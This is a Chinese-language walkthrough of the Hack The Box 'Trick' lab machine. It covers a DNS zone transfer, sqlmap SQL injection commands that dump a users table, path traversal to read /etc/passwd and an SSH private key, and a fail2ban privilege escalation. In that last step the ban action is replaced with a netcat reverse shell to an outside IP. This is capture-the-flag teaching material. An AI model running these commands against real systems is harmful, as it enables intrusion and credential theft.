HTB–Trick


HTB–Trick

image-20220912130025931
image-20220912130025931

1. 约等于无用功

微信公众号:小惜渗透,欢迎大佬一起交流进步

首先扫描全端口,发现是linux系统,开放着22端口并且还有个80端口,既然存在http服务那我就去网站看一下

image-20220912131006450
image-20220912131006450

就这一个页面毛都没有,既然找不到功能点,那就扫描下目录

image-20220912131203512
image-20220912131203512

目录也扫完了,但是还是没什么发现

这个网站是我们直接通过ip访问的,所以不知道是否存在其它域名,这时候我们可以通过53端口,看看是否存在域传送漏洞(利用dig命令,具体在我另一篇DNS域传送漏洞中有提到)

这里出问题了,(我用的系统是windows-kali二合一的),不到为什么用windows的nmap插件扫不出来,用kali的插件也会出错,但是当我直接开一个纯kali系统的时候却成功了

image-20220912134717768
image-20220912134717768

然后我们发现了两个域名解析,将他们写入到hosts里

image-20220912135823687
image-20220912135823687

然后我们去访问http://preprod-payroll.trick.htb(因为trick.htb和我们通过IP访问是一样的)

image-20220912140855684
image-20220912140855684

既然上来就一个登录页面,直接弱口令爆破

image-20220912141252037
image-20220912141252037

登录框出貌似存在sql注入,既然如此直接用sqlmap尝试,注意这里需要加一些http头,因为一开始我没有加HTTP头部,然后利用sqlmap没有注入成功,然后我一条的筛选,直到剩下如下图两个头部(Content-Length忽略)

image-20220912144320989
image-20220912144320989

我们只要少一个,相应就会出错

image-20220912144358878
image-20220912144358878

所以最后的命令是

python sqlmap.py -u preprod-payroll.trick.htb/ajax.php?action=login --data="username=asdasd&password =asdasddns2" -H "Host: preprod-payroll.trick.htb" -H "Content-Type: application/x-www-form-urlencoded" --level 3 --batch

跑出来的结果为

image-20220912144429030
image-20220912144429030

ok,既然如此去翻表数据,然后进后台

python sqlmap.py -u preprod-payroll.trick.htb/ajax.php?action=login --data="username=asdasd&password =asdasddns2" -H "Host: preprod-payroll.trick.htb" -H "Content-Type: application/x-www-form-urlencoded" --level 3 --batch --dump -T users -D payroll_db

查到用户名和密码

image-20220912144658710
image-20220912144658710

进来之后长这样,我没有找到能上传webshell的地方

image-20220912145135694
image-20220912145135694

2. 突破口

服了,这个时候不知道怎么办了,但回想一下当前这个子域名preprod-payroll,在我之前的文章提到过目录扫描,扫描的时候一定要按照开发者的逻辑来进行变通,比如一个抽奖的网站,它的路径里可能存在cj-index,当然没准就存在cj-admin,也就是说开发人员在这些目录前面都加了一个cj-的前缀,所以将这个思路代入,那么可不可能存在其它preprod-前缀的子域名呢,ok说干就干,我这里利用的工具是ffuf

地址:https://github.com/yunxu1/dnsub

首先准备一个字典,但是ffuf没有前缀功能,所以手动加前缀,然后进行爆破

image-20220912190136183
image-20220912190136183

发现存在marketing,然后将它加到hosts里面,并进行访问,注意url,很明显这里的page参数后边是一个文件名,那这里可能就会存在目录遍历漏洞

image-20220912190613070
image-20220912190613070

接近着我在后边直接构造路径穿越发现不好用,盲猜可能存在过滤,所以我这里直接爆破,payload按照如下设置,前七个都长这样

image-20220912202143841
image-20220912202143841

第八个是etc/passwd

image-20220912202048304
image-20220912202048304

最后爆破出来

image-20220912202200128
image-20220912202200128

看来是存在过滤,接下来我们观察响应体,发现存在一个普通权限账户,按照靶场先普通权限再提权的思路,大概这个用户就是突破口了,但是我们现在之后一个路径穿越漏洞,所以只能查看,先看下有没有ssh的私钥

image-20220912202251032
image-20220912202251032

很nice

image-20220912202725202
image-20220912202725202

3. 内网

然后我们就可以把它保存在本地,直接通过私钥连接,在根目录拿到第一个用户flag

image-20220912203112136
image-20220912203112136

4. 提权

然后我们执行一下sudo -l,看一下当前用户可提权的操作,发现/etc/init.d/fail2ban restart

image-20220912204942719
image-20220912204942719

fail2ban是一款实用软件,可以监视你的系统日志,并且还可以达到入侵防护的作用,具体怎么实现的呢,我们这里看一下etc/fail2ban目录下的内容,注意这个jail.conf的配置文件,这个文件里面写了我们不同服务的的拦截规则,如sshd登录超过5次我就拦截并且封禁ip三分钟,而这个封禁IP操作在另一个配置文件中,就是下图的action.d目录中的文件,而且这里我们看到该目录的所属组是security

image-20220912210448450
image-20220912210448450

我们查一下当前用户所属组,发现非常贴心,也在security里面

image-20220912211051569
image-20220912211051569

ok,既然如此我的大概思路就有了,首先修改action.d目录下的iptables-multiport.conf文件,找到下面的actionban,看到后边接的语句是不是一目了然,其实当用户触发危险行为的时候,会由这条语句对IP进行封禁,所以我们这时候只需要将它改为反弹shell岂不就好了

image-20220912212011236
image-20220912212011236

但是需要注意权限问题,首先我们来看iptables-multiport.conf的权限,可以看到所有者和所属组都是root所以我们没权限修改它

image-20220913094325948
image-20220913094325948

但是别忘了当前用户在action.d这个目录的所属组,所以我们看一下它的权限,我们对它的目录的权限是读写执行

image-20220913094449935
image-20220913094449935

接下来看下面这张图,当我们对一个文件夹有写权限的时候我们可以对立面的文件进行新增和删除

image-20220913094524198
image-20220913094524198

那我们就可以通过复制一个iptables-multiport.conf副本,更改副本内容,然后再替换原来的文件就可以达到修改的目的了,将文件复制到tmp目录

修改命令

/usr/bin/nc 10.10.16.4 1234 -e /usr/bin/bash
image-20220913095009097
image-20220913095009097

删除原来的,再把修改后的复制回来

image-20220913095246546
image-20220913095246546

这时候我们去看下jail.conf配置文件,发现存在sshd服务的配置

image-20220913100918898
image-20220913100918898

ok,接下来重启fail2ban来让我们改过得配置文件生效,之后我们去尝试爆破ssh,来让它执行封IP的行动,然后就会去配置文件中执行封IP的命令,但是这时候封IP的命令已经被我们改成反弹shell了,所以会触发,最后成功

image-20220913135002907
image-20220913135002907

参考:https://jarrodrizor.com/trick-write-up/

原创文章,作者:ItWorker,如若转载,请注明出处:https://blog.ytso.com/289613.html

(0)
上一篇 2022年9月15日
下一篇 2022年9月15日

相关推荐

发表回复

登录后才能评论